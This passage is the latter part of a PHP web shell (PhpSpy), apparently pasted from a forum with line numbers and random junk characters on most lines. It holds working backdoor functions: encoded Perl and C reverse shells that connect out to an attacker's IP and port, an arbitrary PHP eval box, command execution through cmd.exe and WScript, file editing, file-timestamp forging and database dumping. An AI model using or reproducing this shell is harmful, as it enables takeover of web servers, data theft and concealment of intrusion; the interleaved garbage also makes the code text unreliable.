  1023.                                 $table_num = $table_rows = $data_size = 0;% @; X" ]6 P2 G1 g. H8 x( {4 f# \
  1024.                                 $tabledb = array();! c( L* X; b, r
  1025.                                 while($table = mysql_fetch_array($query)) {/ \8 D/ S  L$ x9 r4 v
  1026.                                         $data_size = $data_size + $table['Data_length'];4 B5 V2 q3 n! K) d$ G, q
  1027.                                         $table_rows = $table_rows + $table['Rows'];& M  c$ {3 V: I" E5 R# r
  1028.                                         $table['Data_length'] = sizecount($table['Data_length']);' v# s' g& g% l: b" U
  1029.                                         $table_num++;
    1 U  g# s1 a! c3 y
  1030.                                         $tabledb[] = $table;
    * Q- M6 g( x9 S" m4 c. T, _( ?
  1031.                                 }
    ; N( o9 W! ?3 [" H
  1032.                                 $data_size = sizecount($data_size);
    ; w: U) `; W$ B9 Y# x; A" Y" q
  1033.                                 unset($table);
    # \1 N6 w( H4 s: {1 `9 u% d; o
  1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');8 b/ j+ B: ~+ L1 e4 A7 K
  1035.                                 p('<form action="'.$self.'" method="POST">');+ c( u" g1 u3 M4 `. l/ I
  1036.                                 makehide('action','sqladmin');% |) E8 r/ |3 n/ H6 q- I
  1037.                                 p($dbform);8 d$ Z- R9 C- K% e7 W4 b: F
  1038.                                 p('<tr class="head">');2 Q3 |1 g4 _: S/ C1 T+ t
  1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
    ! K) R* T4 Y0 N, h
  1040.                                 p('<td>Name</td>');
    + ?% i5 q# y1 M& h( l) e4 |
  1041.                                 p('<td>Rows</td>');
    9 a0 W! [5 d9 Y. ^1 q
  1042.                                 p('<td>Data_length</td>');$ K9 T/ ]& h/ O6 z3 i
  1043.                                 p('<td>Create_time</td>');
    6 H' D0 r" r/ o& \- z  o- |( I" ?
  1044.                                 p('<td>Update_time</td>');
    % z- e. ~1 u- d  }& X+ ~; d
  1045.                                 if ($highver) {
    - l7 [* @( Z0 M/ Y. X$ y. z
  1046.                                         p('<td>Engine</td>');5 j7 i9 t$ i: A- x
  1047.                                         p('<td>Collation</td>');- f) r5 h) i9 h1 P) C6 l
  1048.                                 }9 c) }+ @6 m, [
  1049.                                 p('</tr>');
    ' V* T& Y; z( C5 }5 \
  1050.                                 foreach ($tabledb as $key => $table) {
    ! ^3 G  D% P$ M
  1051.                                         $thisbg = bg();
    * H: z1 z5 \  N2 a2 V/ Y
  1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');. T! A1 ~1 s' a8 ^% ~' F
  1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
    ' K  J# b+ }! D' r; l
  1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
    8 j, x( N6 j- D! B! i0 B* t0 }
  1055.                                         p('<td>'.$table['Rows'].'</td>');
    " g, L3 D. W$ V
  1056.                                         p('<td>'.$table['Data_length'].'</td>');" p3 V( R; `  c4 ^" K
  1057.                                         p('<td>'.$table['Create_time'].'</td>');  G& n' J! ~( |- f2 ~
  1058.                                         p('<td>'.$table['Update_time'].'</td>');
    ' h: w  x* k' d* k# Z$ V( o4 Q: T- m
  1059.                                         if ($highver) {
    3 w* h- ~8 ^6 w
  1060.                                                 p('<td>'.$table['Engine'].'</td>');: _6 w# l: g+ ?
  1061.                                                 p('<td>'.$table['Collation'].'</td>');
    " H" Y; t& e5 ~6 P' z
  1062.                                         }
    5 Y: A6 i' m, o2 ~8 J* K
  1063.                                         p('</tr>');1 L; o3 W- Y, i3 N' t  e
  1064.                                 }
    + ?0 @1 x4 }( A& e  k$ Y
  1065.                                 p('<tr class='.bg().'>');
    # n! A5 t* P. u& w" ~. T1 a4 n
  1066.                                 p('<td> </td>');1 {$ g! D; Y3 a+ S0 t  [2 U
  1067.                                 p('<td>Total tables: '.$table_num.'</td>');( @, H3 f5 N) `) T) K$ J- }4 e
  1068.                                 p('<td>'.$table_rows.'</td>');' d+ j7 _- x+ r0 g. K. V
  1069.                                 p('<td>'.$data_size.'</td>');% z- P" P: {1 P! a; d. C; j) D
  1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');4 y( d0 o; z" L9 j2 R
  1071.                                 p('</tr>');* ?5 t* z2 Y& U7 C5 u5 v
  1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
    3 i$ t$ z' Z' r/ B! `5 n9 S
  1073.                                 makehide('doing','backupmysql');
    " N# R5 o9 j4 z" n- L* R1 O6 H; w* f9 Z
  1074.                                 formfoot();6 b$ G+ @0 ]& O' U/ P
  1075.                                 p("</table>");; m7 P$ u& m& @% Q$ T) @/ h
  1076.                                 fr($query);
    , }) k; f+ ^9 B* }. r# E) ^# U
  1077.                         }1 ~3 C" w7 Q: b. X! b
  1078.                 }
    " U# B! B6 M' u$ }) w3 {
  1079.         }' y' u+ v3 @8 L5 {- F
  1080.         tbfoot();
    1 P( p- d1 z- C+ w' n& i
  1081.         @mysql_close();0 |- e4 D( V& P" _8 N
  1082. }//end sql backup
    $ C. T# ]0 Y$ w) J2 u# d
  1083. elseif ($action == 'backconnect') {6 c- U" n3 n: I# j& f* Q: t
  1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];+ k! m4 R2 E' b8 V. _
  1085.         !$yourport && $yourport = '12345';, f: j. Y5 l# S/ D; `0 D: y1 e
  1086.         $usedb = array('perl'=>'perl','c'=>'c');: M3 o; a0 _* ?/ l. ?& y% A
  1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
    " k7 t% {9 t0 S( A
  1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".$ F3 C! g' K% }4 ]' U
  1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
    6 Q3 F" j& \8 }
  1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    2 W, w* N+ k) c
  1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".+ ~+ ]6 m! n! l9 w3 x" a
  1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
    % f* Q+ F; @) n
  1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";% C3 |& O4 [7 y' L* {* C
  1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".* s6 d6 k( F" s$ P4 i7 _
  1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".4 u4 W  D+ x8 g; C. A* f: A6 B: y5 T
  1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
    * p1 ?& t- I9 p  P* b. e
  1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".8 G9 [& G. ?# n
  1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC"./ S0 D9 ~! n, i* P/ |
  1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".# o3 Z% I2 a0 M8 [" a: w7 Y
  1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".: e1 O( y, l) T' n2 X
  1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";# R+ i( g/ p6 L& z
  1102.         if ($start && $yourip && $yourport && $use){! P' W4 F1 w% L" M3 U; t+ q+ u$ ~
  1103.                 if ($use == 'perl') {
    & M- g  i8 i5 ^, B) P$ k2 H
  1104.                         cf('/tmp/angel_bc',$back_connect);! t' Q0 W& @& P6 Q- ?8 U
  1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");" O1 ]6 N* W- ^
  1106.                 } else {
    7 s( D: `) I6 P
  1107.                         cf('/tmp/angel_bc.c',$back_connect_c);
    ! t$ H4 q1 z3 k. x+ T" F2 {
  1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
    3 C  V6 M+ w9 w: j
  1109.                         @unlink('/tmp/angel_bc.c');
    / F& V9 r2 ?7 N" s& n6 W
  1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");
    - K; ]& @, Y& w* I5 K  g
  1111.                 }
    ) G1 e+ `! b9 _! C3 T( R
  1112.                 m("Now script try connect to $yourip port $yourport ...");
    3 W3 P& {) L( [  u. m% D
  1113.         }2 W8 s' j$ B+ [1 U! x8 t' h
  1114.         formhead(array('title'=>'Back Connect'));% K$ ~: d3 l/ h; @
  1115.         makehide('action','backconnect');
    7 A0 Y0 S" A7 n0 g- p( g
  1116.         p('<p>');: A5 K$ `! |5 c" h7 O
  1117.         p('Your IP:');
    * e) O2 ~9 Z/ Q* ]
  1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));& r- H! e0 \. N) q
  1119.         p('Your Port:');
    7 ?/ ^0 c3 O5 M9 Z7 O. M1 c
  1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
    6 w& U. H' K. l7 y2 S6 U+ D( l; |0 [
  1121.         p('Use:');7 R, N' y- I4 g+ @! b! e
  1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));0 S. _) i' A' i
  1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
    4 ?7 r( ~- }: d  k' Y& u4 m
  1124.         p('</p>');
    9 m( G) m+ A' n9 X7 {7 O6 ]; j
  1125.         formfoot();
    1 n% Z4 s5 k+ o' K/ n3 a2 q
  1126. }//end sql backup+ x: ?. \4 l7 m3 w# @" `# g6 a
  1127. elseif ($action == 'eval') {
    . h" c) d* [- u  p% I
  1128.         $phpcode = trim($phpcode);
      ]! D6 s5 w  {0 t. t* s* o
  1129.         if($phpcode){' d$ A9 J$ u0 j1 Y4 K" Q& ~6 }/ T
  1130.                 if (!preg_match('#<\?#si', $phpcode)) {+ T' ^/ D. s+ X$ r
  1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";
    0 m: k7 C6 V* g& y2 [
  1132.                 }& u  x2 ]9 Q4 b: O; @
  1133.                 eval("?".">$phpcode<?");
    " u/ R- {5 Z8 u
  1134.         }* p( I# j& x6 O. c
  1135.         formhead(array('title'=>'Eval PHP Code'));2 K9 {) j' ?, T1 r# ?
  1136.         makehide('action','eval');
    . ]& B. ?& R! k  Z& Z' L, z
  1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));0 H4 |/ n6 f, N; W/ s4 _0 B
  1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
    - v% |! J9 y7 U6 O+ O* |- G, x
  1139.         formfooter();
    & K  o9 r4 {1 R1 b6 s/ }) x
  1140. }//end eval$ _9 ?0 s0 w# x1 t& @4 U) ?$ R

  1141. 5 M0 L" v( _6 X, r# ^% `8 X$ I6 ~
  1142. elseif ($action == 'editfile') {( ~1 H4 o2 B3 P: p+ L8 S8 C
  1143.         if(file_exists($opfile)) {( `. A" u! N5 b
  1144.                 $fp=@fopen($opfile,'r');
    & y2 Z/ c" {" x( C2 g* V4 X
  1145.                 $contents=@fread($fp, filesize($opfile));- e6 G, V- B8 H/ P  z6 h, R) |
  1146.                 @fclose($fp);
    & F  M2 K  C3 f6 V/ g; ]9 B
  1147.                 $contents=htmlspecialchars($contents);
    ; @5 I+ a7 N1 O. y2 R/ X
  1148.         }
    . S5 {: m: |+ Q' l
  1149.         formhead(array('title'=>'Create / Edit File'));
    0 _( V6 m* x' z7 G
  1150.         makehide('action','file');# R+ ^1 L% p& e
  1151.         makehide('dir',$nowpath);: @5 @4 n- A' @' ?" f
  1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
    * T: j$ a1 F" Z, t) ]5 ~" r% ~; U
  1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));5 C0 d0 ^/ R: S& w9 ]! g
  1154.         formfooter();6 q9 U# a; T! E3 t
  1155. }//end editfile  ~2 B0 i0 f4 g7 g% R& g3 [2 p
  1156. / v7 v2 j2 }0 H- a9 o: J
  1157. elseif ($action == 'newtime') {
    5 H" s( f4 h, P- m8 A5 R  `2 Z
  1158.         $opfilemtime = @filemtime($opfile);* A7 K  S- v% {: I/ s
  1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");
    4 O& V7 ~; y  w9 \3 X" n" Y
  1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);8 w$ E! G6 m7 d! |' E6 `5 G! Q
  1161.         formhead(array('title'=>'Clone file was last modified time'));! _0 \/ x) S( L! ^& [) Z
  1162.         makehide('action','file');7 Q5 O, ?9 V- [& r0 d9 q' J
  1163.         makehide('dir',$nowpath);: R9 y# g  N$ ~# W/ f+ m" J
  1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));" Y% _. H2 Y# ]( S7 O7 y8 w
  1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
    " ?. m4 w: K- z1 E/ Y
  1166.         formfooter();
    ' c* Z; C% c; n8 U% l0 N; L
  1167.         formhead(array('title'=>'Set last modified'));
    9 P: i1 W" G6 D  V$ [
  1168.         makehide('action','file');6 Z, V! n  `3 h7 _3 v2 c8 I) j
  1169.         makehide('dir',$nowpath);
    # U/ y- Q0 g' N
  1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    ( l5 B- h, B, Y$ x& L2 ?6 x
  1171.         p('<p>Instead »');7 i+ K+ K3 G) {. T, [* P) d7 k% x0 X! r
  1172.         p('year:');
    8 G5 Q9 ]- T9 M+ V
  1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));* C9 I- b5 H+ {4 O6 y( s
  1174.         p('month:');
    8 o9 l- b2 e- ?! n0 U; `
  1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));! z/ d' s0 o" @+ y, H2 U
  1176.         p('day:');: c/ @  q/ M7 v; x' S, W; L
  1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
    7 l2 T! i( O. O( Z9 l/ @
  1178.         p('hour:');# F( b0 M; o* U" F# S& H
  1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
    4 ^7 ^. t! ]2 b
  1180.         p('minute:');" X0 n0 V& v8 ~3 @4 W" A
  1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
    ) l$ d. g+ Y/ \" t0 l% J9 _
  1182.         p('second:');- n1 L0 H6 r/ U+ ]& C1 c
  1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));+ M7 H+ g# m6 s: S6 q- Z. f
  1184.         p('</p>');# a( X! B/ z! z9 s( D/ t/ R' N
  1185.         formfooter();
    : q8 l2 @; _- Z' C
  1186. }//end newtime
    % e4 P- Y0 B2 d% J

  1187. 3 Z# h: [( ?7 w
  1188. elseif ($action == 'shell') {
    ; A5 N7 J) O$ Z4 g  ^4 R. o
  1189.         if (IS_WIN && IS_COM) {
    ) _1 Q' {- [& r' y. @( ~$ D
  1190.                 if($program && $parameter) {, Q1 u. A! X& n) W. Y( |' K6 {
  1191.                         $shell= new COM('Shell.Application');
    - S9 M4 j- H0 p* c! H
  1192.                         $a = $shell->ShellExecute($program,$parameter);/ y. r0 u6 W7 n# V
  1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
    1 z: E6 F6 ^: K' B9 h
  1194.                 }4 z8 Q  X, F7 z
  1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';; `# \0 S; }& W- I/ u
  1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';5 g; X, t, q# ~/ Z: }
  1197.                 formhead(array('title'=>'Execute Program'));, E) u! {3 ]3 X+ R
  1198.                 makehide('action','shell');
    4 X6 F7 s0 A, ~) l
  1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
    ' \2 F, T! r, i" k* E' h, g1 h
  1200.                 p('<p>');- ?# v! `7 e* a1 N2 ~
  1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
    - L$ \8 F+ n2 q: Q  P5 K
  1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
    4 n/ V. i, C( a1 B
  1203.                 p('</p>');6 k2 r. M! z$ k) l% K8 C
  1204.                 formfoot();
    * u3 X: A, x( L
  1205.         }
    " W/ v$ E3 ]- a) D% D* e
  1206.         formhead(array('title'=>'Execute Command'));3 D2 x: v: m3 D
  1207.         makehide('action','shell');
    % N1 g$ ?, w& B' Q2 p0 W+ z0 m
  1208.         if (IS_WIN && IS_COM) {
    1 F5 Q& f' A, j, D: K% A
  1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');1 a' o9 Z( j: u8 T; q4 b0 H
  1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
    5 H- L5 P4 F9 ~1 K4 U( K
  1211.         }
    " A7 W- C1 H$ w1 o
  1212.         p('<p>');
    9 G5 r" d$ U5 U' b
  1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
    " F( x! W# P" `- g& Z
  1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
    ' H, y$ P6 }$ K2 b8 F2 X% n
  1215.         p('</p>');
    5 h, U0 D9 \! i1 N$ Y* t; ~
  1216.         formfoot();8 \& d: n! ~" G" c

  1217. * c) b( ]3 @( }9 k' l
  1218.         if ($command) {4 c8 c6 |, W' b
  1219.                 p('<hr width="100%" noshade /><pre>');& V9 H1 ]5 z# c$ ^7 g. b! W* b
  1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
    , v& N# `# A' b( v  p' z' \( b
  1221.                         $wsh = new COM('WScript.shell');" Z9 a7 m/ s4 I/ ?
  1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);! M  [+ N9 c7 J5 {
  1223.                         $stdout = $exec->StdOut();
    # C3 S9 z* [4 J. o0 y* \) ~
  1224.                         $stroutput = $stdout->ReadAll();
    4 X$ B6 ?- R( f, A( c
  1225.                         echo $stroutput;
    $ |. d6 x/ ]0 J2 f2 z, L
  1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {4 H+ e; \( }9 [" Z& O, \  [
  1227.                         $descriptorspec = array(
    , q" B3 v) ?5 S0 E, ]! |  a
  1228.                            0 => array('pipe', 'r'),% N* g( }! c" n/ r* a- w
  1229.                            1 => array('pipe', 'w'),
    # s  Q0 B3 N5 |8 n" Y
  1230.                            2 => array('pipe', 'w')( d2 w6 X% i$ w; j$ P  e6 O  X
  1231.                         );
    $ H) C' ]4 ^2 P
  1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
    ) N0 d, l* b' r' [1 v" Z
  1233.                         if (is_resource($process)) {
    3 ]' `. N  \; d) U- K! e# B: I
  1234.                                 fwrite($pipes[0], $command."\r\n");
    " Q/ @1 F/ z6 k0 Q4 Z
  1235.                                 fwrite($pipes[0], "exit\r\n");' A0 y9 q$ ]+ d' p$ Z
  1236.                                 fclose($pipes[0]);2 \( [: D6 d. q" q. i
  1237.                                 while (!feof($pipes[1])) {
    3 i$ P1 H# n2 J) v+ n
  1238.                                         echo fgets($pipes[1], 1024);
    # w1 n* U# J% ^
  1239.                                 }/ s8 W  l+ c- ~6 O
  1240.                                 fclose($pipes[1]);  N* U# k0 ~2 D) B4 O% S
  1241.                                 while (!feof($pipes[2])) {
    # Q4 w  [7 e/ s+ H# e! o
  1242.                                         echo fgets($pipes[2], 1024);
    6 d5 H: [) I, c- r- D$ U3 y  k. E
  1243.                                 }
    ) w# a7 O7 ?8 @/ }6 S* m- m7 y
  1244.                                 fclose($pipes[2]);
    ; B( x+ v1 K3 m% F( P4 t$ t7 r
  1245.                                 proc_close($process);1 l* m8 C! M! M/ F7 {
  1246.                         }
    & S' q! E& u# H( L
  1247.                 } else {
    ( G- B6 e8 F: c5 `! C
  1248.                         echo(execute($command));
    $ J: p2 t$ S# X9 w0 x  W# }
  1249.                 }0 [  E" {8 a9 ~% O6 O+ V% d1 Q
  1250.                 p('</pre>');
    ' O" l" `# o' X2 b3 J/ f
  1251.         }" t1 G+ k! x& W: e3 o  H' ]
  1252. }//end shell0 Z8 x" N5 ?6 x; I! u8 ^
  1253. * E$ K- G5 l' ]) L* z
  1254. elseif ($action == 'phpenv') {- B9 ]" D% y! E8 r4 K
  1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';' E2 e$ ?5 r0 b
  1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');( i( u( S. r2 N
  1257.         !$dis_func && $dis_func = 'No';       
    8 i9 ?3 Y, d) [' q1 X$ y- Y4 M
  1258.         $info = array(
    ' j- s6 Z4 U; d/ p- B5 |
  1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
    5 b1 C/ o. H& U$ n* c8 p" u
  1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
    7 d( G" g2 z( ~) s( f
  1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
    ) m8 b0 p8 I; T
  1262.                 4 => array('Server OS',PHP_OS),
    ! D2 i: S8 @7 y! o& \; E
  1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),; t3 u1 B7 K2 B8 C1 q, R2 L7 Z
  1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),0 y5 i1 q% e, H3 I) D
  1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
    0 c3 w" \5 i, m# p3 r% K5 L/ Y
  1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),
      ^9 f" J% L1 M0 k: j$ T
  1267.                 9 => array('The file path',__FILE__),* ]* @" m# e! \4 |7 P# F
  1268. * Y: f7 Z7 |% r0 }1 B& N
  1269.                 10 => array('PHP Version',PHP_VERSION),
    7 x' B; `% U/ m6 g
  1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
    0 y; Y* U7 o# I; r& E
  1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
    & i+ {/ G# G7 I& n$ f) e* {1 q
  1272.                 13 => array('Administrator',$adminmail),, ~0 y% T# V* j; h
  1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
    & T' H. D, q3 v( y
  1274.                 15 => array('enable_dl',getcfg('enable_dl')),
    ( a3 n9 l( \, _% Q# ]  o6 a7 n5 N
  1275.                 16 => array('display_errors',getcfg('display_errors')),( {2 f7 a* Y) R- c2 `
  1276.                 17 => array('register_globals',getcfg('register_globals')),7 F- E1 l1 ?7 Q$ l) C
  1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
    # X# Z$ H3 v7 w2 B
  1278.                 19 => array('memory_limit',getcfg('memory_limit')),
    6 c/ u# K7 Z/ u
  1279.                 20 => array('post_max_size',getcfg('post_max_size')),9 {& P  `# {+ R; @+ U% _# @9 _
  1280.                 21 => array('upload_max_filesize',$upsize),% q) z, _" S$ ]- m5 o' \$ z7 |
  1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),0 s: w8 }1 [/ ~2 c: {  ?. n2 h
  1282.                 23 => array('disable_functions',$dis_func),
    & k' Y  G: N% e" V+ o
  1283.         );) i0 S( z' n3 |6 J: F- [

  1284. $ J2 ]& U: S1 _0 ^; U
  1285.         if($phpvarname) {
    ! A0 L2 F( q4 p0 X1 f; j
  1286.                 m($phpvarname .' : '.getcfg($phpvarname));
    ; h+ C) ]5 P) a1 U/ m
  1287.         }
    7 Z+ r3 q. I6 O4 g$ D# ~0 b( Y

  1288. / ~3 t" m2 K! l5 H$ A
  1289.         formhead(array('title'=>'Server environment'));& V  P8 b# [$ L2 B1 _$ F
  1290.         makehide('action','phpenv');# W7 g  }9 ~2 g. @1 [* l2 |8 ?; B
  1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
    ; k  [& a7 G) ~7 |0 q/ L
  1292.         formfooter();
    / _/ ?- [) q: i7 }$ q
  1293. # ~. a, t/ [4 t; P; ^
  1294.         $hp = array(0=> 'Server', 1=> 'PHP');( ]% n# p. i: W( D& f
  1295.         for($a=0;$a<2;$a++) {+ p5 V9 h& L1 O
  1296.                 p('<h2>'.$hp[$a].' »</h2>');
    % }6 S. }5 P8 s" J+ X+ U* f' T
  1297.                 p('<ul class="info">');
    % `4 F/ x' G% O+ L7 c
  1298.                 if ($a==0) {
    8 x& |" |7 V  w4 M8 i1 k! i
  1299.                         for($i=1;$i<=9;$i++) {
    / b( U. V" R% Q; H
  1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');+ j* N; ]8 {6 V0 G  `. S. Z
  1301.                         }
    + R8 I: M& j  o
  1302.                 } elseif ($a == 1) {
    ( J% Y# t. p5 R- c; D/ a" o
  1303.                         for($i=10;$i<=23;$i++) {
    & `0 f5 j9 _( h9 S
  1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');( b4 g( r' o* n% y" ~
  1305.                         }( S: S9 ^, L' K# U
  1306.                 }, t5 I3 \% t+ K
  1307.                 p('</ul>');
    / B0 I& z) T( G9 U) N1 T+ I
  1308.         }
    , C7 D1 L: }3 V; }1 e8 s
  1309. }//end phpenv
    , f) c* k9 y; S: Q( u
  1310. " e9 z* M1 O5 I/ M; P
  1311. else {/ y! u1 d& M7 w) x7 J8 e; M
  1312.         m('Undefined Action');" F7 F& y* o0 z) ~4 h( X7 `
  1313. }
    + A6 t5 {+ E1 h/ h9 s1 L8 H

  1314. 8 C7 d# ], H& V8 \: A& v6 K: {
  1315. ?>" O2 c8 Q% t8 }# @* Q
  1316. </td></tr></table>" q% J6 R. |4 `0 ], o' Q- z7 `+ F
  1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
    . O3 G! G9 v& Q! @
  1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
    3 ]! e$ g$ a0 g' q6 Y
  1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
    8 w. ~# w: j7 A
  1320. </div>* U6 S: H6 }. L& G. F. x
  1321. </body>
    - f  x( z' r% X/ _! U" N$ z
  1322. </html>* B/ M0 d( @+ Y* l* \# f+ U
  1323. . g, y9 x2 [4 k. O, l  M
